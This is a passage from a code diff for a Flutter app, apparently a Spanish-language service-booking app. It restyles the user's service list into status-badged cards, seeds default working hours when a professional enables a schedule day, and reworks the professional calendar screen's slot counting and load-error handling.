||||
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
|
||||
|
||||
Container itemStatus(Color color, String text) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 3,
|
||||
),
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 10,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: onTap,
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: si.color),
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Container(
|
||||
width: 50, height: 50,
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: si.color.withOpacity(0.35), width: 2)),
|
||||
child: ClipOval(
|
||||
child: (user.picture == null || user.picture!.isEmpty)
|
||||
? Container(
|
||||
color: _kPrimary.withOpacity(0.1),
|
||||
child: Center(
|
||||
child: Text(
|
||||
text,
|
||||
user.name?.isNotEmpty == true
|
||||
? user.name![0].toUpperCase()
|
||||
: '?',
|
||||
style: const TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: _kPrimary),
|
||||
),
|
||||
),
|
||||
)
|
||||
: Image.network(user.picture!, fit: BoxFit.cover),
|
||||
),
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
if (service.description.isNotEmpty) ...[
|
||||
const SizedBox(height: 2),
|
||||
Text('"${service.description}"',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: context.muted,
|
||||
fontStyle: FontStyle.italic),
|
||||
maxLines: 1,
|
||||
overflow: TextOverflow.ellipsis),
|
||||
],
|
||||
const SizedBox(height: 5),
|
||||
Row(children: [
|
||||
Icon(Icons.calendar_today_outlined,
|
||||
size: 11, color: context.subtle),
|
||||
const SizedBox(width: 4),
|
||||
Text('$dateStr · $timeStr',
|
||||
style: TextStyle(
|
||||
fontSize: 11,
|
||||
color: context.muted,
|
||||
fontWeight: FontWeight.w500)),
|
||||
]),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.end,
|
||||
children: [
|
||||
_StatusBadge(si: si),
|
||||
const SizedBox(height: 6),
|
||||
Icon(Icons.chevron_right, size: 18, color: context.subtle),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// pending - 0
|
||||
// acepted - 1
|
||||
// active - 2
|
||||
// cancelled - 3
|
||||
// completed - 4
|
||||
class _StatusBadge extends StatelessWidget {
|
||||
final _StatusInfo si;
|
||||
const _StatusBadge({required this.si});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: si.color.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: si.color.withOpacity(0.3)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
Icon(si.icon, size: 10, color: si.color),
|
||||
const SizedBox(width: 4),
|
||||
Text(si.label,
|
||||
style: TextStyle(
|
||||
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusInfo {
|
||||
final String label;
|
||||
final Color color;
|
||||
final IconData icon;
|
||||
const _StatusInfo(this.label, this.color, this.icon);
|
||||
}
|
||||
|
||||
_StatusInfo _statusInfo(ServiceStatus status) {
|
||||
switch (status) {
|
||||
case ServiceStatus.completed:
|
||||
return const _StatusInfo(
|
||||
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
|
||||
case ServiceStatus.denied:
|
||||
return const _StatusInfo(
|
||||
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
|
||||
default:
|
||||
return const _StatusInfo(
|
||||
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/user_service_screen.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:shimmer/shimmer.dart';
|
||||
import 'package:user_repository/user_repository.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class UserServiceListScreen extends StatefulWidget {
|
||||
const UserServiceListScreen({super.key});
|
||||
@@ -24,11 +37,8 @@ class _UserServiceListScreenState extends State<UserServiceListScreen> {
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
serviceBloc = Injector.appInstance.get<ServiceBloc>();
|
||||
|
||||
serviceBloc
|
||||
.add(LoadServicesForUser(ApiUserRepository.currentUserId ?? ''));
|
||||
serviceBloc.add(LoadServicesForUser(ApiUserRepository.currentUserId ?? ''));
|
||||
}
|
||||
|
||||
@override
|
||||
@@ -36,183 +46,289 @@ class _UserServiceListScreenState extends State<UserServiceListScreen> {
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => serviceBloc,
|
||||
child: Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Mis Servicios'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
body: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
if (serviceState is ServicesForUserLoaded) {
|
||||
return serviceState.services.isEmpty
|
||||
? const Center(
|
||||
child: Text('No tienes servicios'),
|
||||
)
|
||||
: ListView.builder(
|
||||
if (serviceState.services.isEmpty) return _emptyState(context);
|
||||
return ListView.builder(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: serviceState.services.length,
|
||||
itemBuilder: (_, index) {
|
||||
final serviceInfo = serviceState.services[index];
|
||||
final user = serviceInfo.user;
|
||||
final professional = serviceInfo.professional;
|
||||
final service = serviceInfo.service;
|
||||
|
||||
return Container(
|
||||
decoration: BoxDecoration(
|
||||
border: Border(
|
||||
bottom: BorderSide(
|
||||
color: Colors.grey.withOpacity(0.2)),
|
||||
),
|
||||
),
|
||||
child: ListTile(
|
||||
onTap: () {
|
||||
Navigator.push(
|
||||
final info = serviceState.services[index];
|
||||
return _ServiceCard(
|
||||
user: info.user,
|
||||
service: info.service,
|
||||
onTap: () => Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
builder: (context) => UserServiceScreen(
|
||||
serviceId: service.id!,
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
leading: Container(
|
||||
width: 60,
|
||||
height: 60,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
image: user.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(user.picture!),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
),
|
||||
child: user.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
: null,
|
||||
),
|
||||
title: Row(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Flexible(
|
||||
child: Text(
|
||||
'${user.name}',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(
|
||||
fontWeight: FontWeight.bold,
|
||||
),
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
Text(
|
||||
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
|
||||
style: TextStyle(
|
||||
color: Colors.grey[600],
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
subtitle: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
const Text(
|
||||
'Estado:',
|
||||
style: TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
),
|
||||
),
|
||||
const SizedBox(width: 5),
|
||||
customStatus(service),
|
||||
],
|
||||
),
|
||||
service.description.isEmpty
|
||||
? Container()
|
||||
: Text(
|
||||
'"${service.description.trim()}"',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
),
|
||||
],
|
||||
),
|
||||
builder: (_) =>
|
||||
UserServiceScreen(serviceId: info.service.id!)),
|
||||
),
|
||||
);
|
||||
},
|
||||
);
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
return _errorState(context, () => serviceBloc.add(
|
||||
LoadServicesForUser(ApiUserRepository.currentUserId ?? '')));
|
||||
}
|
||||
return _shimmerList();
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Widget _errorState(BuildContext context, VoidCallback onRetry) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.error_outline, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('No se pudo cargar la información',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Revisa tu conexión e inténtalo de nuevo.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(onPressed: onRetry, child: const Text('Reintentar')),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _emptyState(BuildContext context) {
|
||||
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
|
||||
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(32),
|
||||
child: Column(mainAxisSize: MainAxisSize.min, children: [
|
||||
Container(
|
||||
width: 72, height: 72,
|
||||
decoration: BoxDecoration(
|
||||
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
|
||||
child: Icon(Icons.list_alt_outlined, size: 36, color: subtle),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
Text('Sin servicios',
|
||||
style: TextStyle(
|
||||
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
|
||||
const SizedBox(height: 6),
|
||||
Text('Tus servicios activos aparecerán aquí.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
|
||||
]),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _shimmerList() {
|
||||
return Shimmer.fromColors(
|
||||
baseColor: Colors.grey[300]!,
|
||||
highlightColor: Colors.grey[100]!,
|
||||
child: ListView.builder(
|
||||
itemCount: 10,
|
||||
itemBuilder: (_, __) => ListTile(
|
||||
leading: CircleAvatar(
|
||||
backgroundColor: Colors.grey[300],
|
||||
radius: 30,
|
||||
),
|
||||
title: Container(
|
||||
height: 20,
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
itemCount: 8,
|
||||
itemBuilder: (_, __) => Container(
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
height: 84,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
subtitle: Container(
|
||||
height: 15,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
color: Colors.white, borderRadius: BorderRadius.circular(14)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container customStatus(ServiceEntity service) {
|
||||
if (service.status == ServiceStatus.pending) {
|
||||
return itemStatus(Colors.black54, 'Pendiente');
|
||||
}
|
||||
if (service.status == ServiceStatus.acepted) {
|
||||
return itemStatus(Colors.green, 'Aceptado');
|
||||
}
|
||||
if (service.status == ServiceStatus.active) {
|
||||
return itemStatus(Colors.blueAccent, 'Activo');
|
||||
}
|
||||
class _ServiceCard extends StatelessWidget {
|
||||
final MyUser user;
|
||||
final ServiceEntity service;
|
||||
final VoidCallback onTap;
|
||||
const _ServiceCard(
|
||||
{required this.user, required this.service, required this.onTap});
|
||||
|
||||
return itemStatus(Colors.red, 'Cancelado');
|
||||
}
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final si = _statusInfo(service.status);
|
||||
final dateStr =
|
||||
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
|
||||
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
|
||||
|
||||
Container itemStatus(Color color, String text) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 8,
|
||||
vertical: 3,
|
||||
),
|
||||
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
|
||||
decoration: BoxDecoration(
|
||||
color: color,
|
||||
borderRadius: BorderRadius.circular(8),
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(
|
||||
color: context.shadowSm,
|
||||
blurRadius: 10,
|
||||
offset: const Offset(0, 2))
|
||||
],
|
||||
),
|
||||
child: ClipRRect(
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
child: InkWell(
|
||||
onTap: onTap,
|
||||
child: IntrinsicHeight(
|
||||
child: Row(children: [
|
||||
Container(width: 4, color: si.color),
|
||||
Padding(
|
||||
padding: const EdgeInsets.all(12),
|
||||
child: Container(
|
||||
width: 50, height: 50,
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: si.color.withOpacity(0.35), width: 2)),
|
||||
child: ClipOval(
|
||||
child: (user.picture == null || user.picture!.isEmpty)
|
||||
? Container(
|
||||
color: _kPrimary.withOpacity(0.1),
|
||||
child: Center(
|
||||
child: Text(
|
||||
text,
|
||||
user.name?.isNotEmpty == true
|
||||
? user.name![0].toUpperCase()
|
||||
: '?',
|
||||
style: const TextStyle(
|
||||
fontStyle: FontStyle.italic,
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: _kPrimary),
|
||||
),
|
||||
),
|
||||
)
|
||||
: Image.network(user.picture!, fit: BoxFit.cover),
|
||||
),
|
||||
),
|
||||
),
|
||||
Expanded(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 12),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
children: [
|
||||
Text(user.name ?? '',
|
||||
style: TextStyle(
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface)),
|
||||
if (service.description.isNotEmpty) ...[
|
||||
const SizedBox(height: 2),
|
||||
Text('"${service.description}"',
|
||||
style: TextStyle(
|
||||
fontSize: 12,
|
||||
color: context.muted,
|
||||
fontStyle: FontStyle.italic),
|
||||
maxLines: 1,
|
||||
overflow: TextOverflow.ellipsis),
|
||||
],
|
||||
const SizedBox(height: 5),
|
||||
Row(children: [
|
||||
Icon(Icons.calendar_today_outlined,
|
||||
size: 11, color: context.subtle),
|
||||
const SizedBox(width: 4),
|
||||
Text('$dateStr · $timeStr',
|
||||
style: TextStyle(
|
||||
fontSize: 11,
|
||||
color: context.muted,
|
||||
fontWeight: FontWeight.w500)),
|
||||
]),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
|
||||
child: Column(
|
||||
mainAxisAlignment: MainAxisAlignment.center,
|
||||
crossAxisAlignment: CrossAxisAlignment.end,
|
||||
children: [
|
||||
_StatusBadge(si: si),
|
||||
const SizedBox(height: 6),
|
||||
Icon(Icons.chevron_right, size: 18, color: context.subtle),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// pending - 0
|
||||
// acepted - 1
|
||||
// active - 2
|
||||
// cancelled - 3
|
||||
// completed - 4
|
||||
class _StatusBadge extends StatelessWidget {
|
||||
final _StatusInfo si;
|
||||
const _StatusBadge({required this.si});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
|
||||
decoration: BoxDecoration(
|
||||
color: si.color.withOpacity(0.1),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: si.color.withOpacity(0.3)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
Icon(si.icon, size: 10, color: si.color),
|
||||
const SizedBox(width: 4),
|
||||
Text(si.label,
|
||||
style: TextStyle(
|
||||
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _StatusInfo {
|
||||
final String label;
|
||||
final Color color;
|
||||
final IconData icon;
|
||||
const _StatusInfo(this.label, this.color, this.icon);
|
||||
}
|
||||
|
||||
_StatusInfo _statusInfo(ServiceStatus status) {
|
||||
switch (status) {
|
||||
case ServiceStatus.acepted:
|
||||
return const _StatusInfo(
|
||||
'Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
|
||||
case ServiceStatus.active:
|
||||
return const _StatusInfo(
|
||||
'En curso', Color(0xFF16A34A), Icons.play_circle_outline);
|
||||
case ServiceStatus.completed:
|
||||
return const _StatusInfo(
|
||||
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
|
||||
case ServiceStatus.denied:
|
||||
return const _StatusInfo(
|
||||
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
|
||||
case ServiceStatus.cancelled:
|
||||
return const _StatusInfo(
|
||||
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
|
||||
case ServiceStatus.selfBooked:
|
||||
return const _StatusInfo(
|
||||
'Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
|
||||
default:
|
||||
return const _StatusInfo(
|
||||
'Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,6 +31,18 @@ class ScheduleItem extends StatelessWidget {
|
||||
Switch(
|
||||
value: schedule.enabled,
|
||||
onChanged: (value) {
|
||||
// Turning a day on used to leave every hour empty, so the day
|
||||
// read as "open" and offered zero slots. Seed a normal
|
||||
// workday; the professional can adjust it right below.
|
||||
if (value && schedule.range1Hour1 == null) {
|
||||
onChanged.call(schedule.copyWith(
|
||||
enabled: true,
|
||||
continuousDay: true,
|
||||
range1Hour1: const TimeOfDay(hour: 8, minute: 0),
|
||||
range2Hour2: const TimeOfDay(hour: 18, minute: 0),
|
||||
));
|
||||
return;
|
||||
}
|
||||
onChanged.call(schedule.copyWith(enabled: value));
|
||||
},
|
||||
),
|
||||
@@ -53,6 +65,17 @@ class ScheduleItem extends StatelessWidget {
|
||||
Switch(
|
||||
value: schedule.continuousDay,
|
||||
onChanged: (value) {
|
||||
// Same reasoning as the day switch: splitting the day
|
||||
// reveals two new empty fields, and a half-filled day
|
||||
// generates no slots at all.
|
||||
if (!value && schedule.range1Hour2 == null) {
|
||||
onChanged.call(schedule.copyWith(
|
||||
continuousDay: false,
|
||||
range1Hour2: const TimeOfDay(hour: 12, minute: 0),
|
||||
range2Hour1: const TimeOfDay(hour: 14, minute: 0),
|
||||
));
|
||||
return;
|
||||
}
|
||||
onChanged.call(schedule.copyWith(continuousDay: value));
|
||||
},
|
||||
),
|
||||
|
||||
@@ -1,22 +1,35 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/foundation.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:intl/intl.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/screens/service/professional_service_screen.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
import 'package:provider/provider.dart';
|
||||
import 'package:table_calendar/table_calendar.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:intl/intl.dart';
|
||||
import 'package:prosappco/utils/time_of_day_utils.dart';
|
||||
import 'package:prosappco/utils/service_day.dart';
|
||||
import 'package:prosappco/utils/slot_generator.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
import 'package:table_calendar/table_calendar.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
const _kAvailable = Color(0xFF16A34A);
|
||||
const _kOccupied = Color(0xFFDC2626);
|
||||
const _kBlocked = Color(0xFF7C3AED);
|
||||
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadow => isDark ? Colors.transparent : Colors.black.withOpacity(0.07);
|
||||
Color get shadowSm => isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
|
||||
}
|
||||
|
||||
class ProfessionalCalendarScreen extends StatefulWidget {
|
||||
final ProfessionalEntity userProfessional;
|
||||
|
||||
const ProfessionalCalendarScreen({super.key, required this.userProfessional});
|
||||
|
||||
@override
|
||||
@@ -24,48 +37,39 @@ class ProfessionalCalendarScreen extends StatefulWidget {
|
||||
_ProfessionalCalendarScreenState();
|
||||
}
|
||||
|
||||
class _ProfessionalCalendarScreenState extends State<ProfessionalCalendarScreen> {
|
||||
final settingRepository = Injector.appInstance.get<SettingRepository>();
|
||||
final serviceRepository =
|
||||
Injector.appInstance.get<ApiServiceRepository>();
|
||||
SettingEntity? settings;
|
||||
class _ProfessionalCalendarScreenState
|
||||
extends State<ProfessionalCalendarScreen> {
|
||||
final serviceRepository = Injector.appInstance.get<ApiServiceRepository>();
|
||||
|
||||
DateTime today = DateTime.now();
|
||||
DateTime now = DateTime.now();
|
||||
late int numDay;
|
||||
|
||||
List<ServiceEntity>? _services;
|
||||
|
||||
CalendarFormat _calendarFormat = CalendarFormat.month;
|
||||
|
||||
bool isLoading = false;
|
||||
bool _loadFailed = false;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
|
||||
today = DateTime.utc(today.year, today.month, today.day);
|
||||
numDay = today.weekday;
|
||||
|
||||
_loadSettings();
|
||||
_loadServices();
|
||||
}
|
||||
|
||||
void _loadSettings() {
|
||||
settingRepository.getSettings().then(
|
||||
(value) => setState(() {
|
||||
settings = value;
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
void _loadServices() {
|
||||
setState(() {
|
||||
_loadFailed = false;
|
||||
_services = null;
|
||||
});
|
||||
serviceRepository
|
||||
.getServicesForProfessionalforCalendar(widget.userProfessional.id)
|
||||
.then((services) {
|
||||
setState(() {
|
||||
_services = services;
|
||||
});
|
||||
if (!mounted) return;
|
||||
setState(() => _services = services);
|
||||
}).catchError((e) {
|
||||
if (!mounted) return;
|
||||
// Never fall back to an empty list: booked slots would render as free.
|
||||
setState(() => _loadFailed = true);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -76,332 +80,620 @@ class _ProfessionalCalendarScreenState extends State<ProfessionalCalendarScreen>
|
||||
});
|
||||
}
|
||||
|
||||
void _onFormatChange(CalendarFormat format) {
|
||||
setState(() {
|
||||
_calendarFormat = format;
|
||||
});
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
DateTime lastDay = today.add(const Duration(days: 365));
|
||||
final schedule = _scheduleFromDay(numDay);
|
||||
final slots = _buildSlots(schedule);
|
||||
final occupied =
|
||||
slots.where((t) => _isOccupied(t, _services, today)).length;
|
||||
final blocked = slots.where((t) => _isBlocked(t, _services, today)).length;
|
||||
// "Libres" means bookable by a patient, not merely empty: a free 15:00
|
||||
// at 14:00 is inside the booking lead time and nobody can take it.
|
||||
final available = slots
|
||||
.where((t) =>
|
||||
!_isOccupied(t, _services, today) &&
|
||||
!_isBlocked(t, _services, today) &&
|
||||
_isBookable(t))
|
||||
.length;
|
||||
|
||||
return Scaffold(
|
||||
backgroundColor: context.bg,
|
||||
appBar: AppBar(
|
||||
title: const Text('Calendario'),
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
),
|
||||
floatingActionButtonLocation: kIsWeb
|
||||
? FloatingActionButtonLocation.startFloat
|
||||
: FloatingActionButtonLocation.endFloat,
|
||||
resizeToAvoidBottomInset: false,
|
||||
body: BlocProvider<ServiceBloc>(
|
||||
create: (context) => Injector.appInstance.get<ServiceBloc>(),
|
||||
child: BlocConsumer<ServiceBloc, ServiceState>(
|
||||
listener: (context, serviceState) {
|
||||
if (serviceState is CreateServiceLoading) {
|
||||
isLoading = true;
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
listener: (context, state) {
|
||||
if (state is CreateServiceLoading) isLoading = true;
|
||||
if (state is CreateServiceFailure) {
|
||||
isLoading = false;
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('No se pudo completar la acción')),
|
||||
);
|
||||
}
|
||||
if (state is CreateServiceSuccess || state is ServiceStatusUpdated) {
|
||||
isLoading = false;
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(SnackBar(
|
||||
content: Text(state is CreateServiceSuccess
|
||||
? 'Horario bloqueado'
|
||||
: 'Horario liberado'),
|
||||
));
|
||||
_loadServices();
|
||||
}
|
||||
},
|
||||
builder: (context, state) {
|
||||
return Column(
|
||||
return ListView(
|
||||
padding: const EdgeInsets.only(bottom: 32),
|
||||
children: [
|
||||
Container(
|
||||
color: const Color.fromARGB(255, 224, 247, 255),
|
||||
_calendarCard(context),
|
||||
if (_loadFailed)
|
||||
_loadErrorState(context)
|
||||
else if (_services == null)
|
||||
// Until the agenda arrives every slot would read "Disponible"
|
||||
// and could be blocked on top of a real appointment.
|
||||
_loadingState(context)
|
||||
else ...[
|
||||
_dayHeader(context, schedule, slots.length, occupied,
|
||||
blocked, available),
|
||||
if (slots.isEmpty)
|
||||
_emptyState(context)
|
||||
else
|
||||
..._slotCards(context, slots, state),
|
||||
],
|
||||
],
|
||||
);
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _calendarCard(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 16, 16, 0),
|
||||
decoration: BoxDecoration(
|
||||
